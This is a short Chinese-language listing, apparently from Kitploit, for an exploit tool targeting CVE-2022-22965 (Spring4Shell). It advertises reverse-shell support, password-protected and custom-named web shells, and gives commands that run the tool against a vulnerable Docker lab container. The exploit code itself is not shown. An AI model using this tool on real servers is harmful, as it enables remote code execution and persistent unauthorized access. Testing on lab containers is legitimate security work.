CVE-2022-22965-poc — CVE-2022-22965 PoC，包括反向 shell 支持 | Kitploit

CVE-2022-22965 利用工具

CVE-2022-22965 利用工具，支持反弹 Shell 和密码认证。欢迎添加更多功能 :)

如何测试？

$ docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29 # 运行有漏洞的 Docker 容器
$ python3 exploit.py -c id --password 1234 --shell_name big0us
$ python3 exploit.py --help # 查看更多用法

致谢

我重构了原始利用代码并添加了一些功能

变更

支持反弹 Shell
支持密码认证
支持自定义 Shell 名称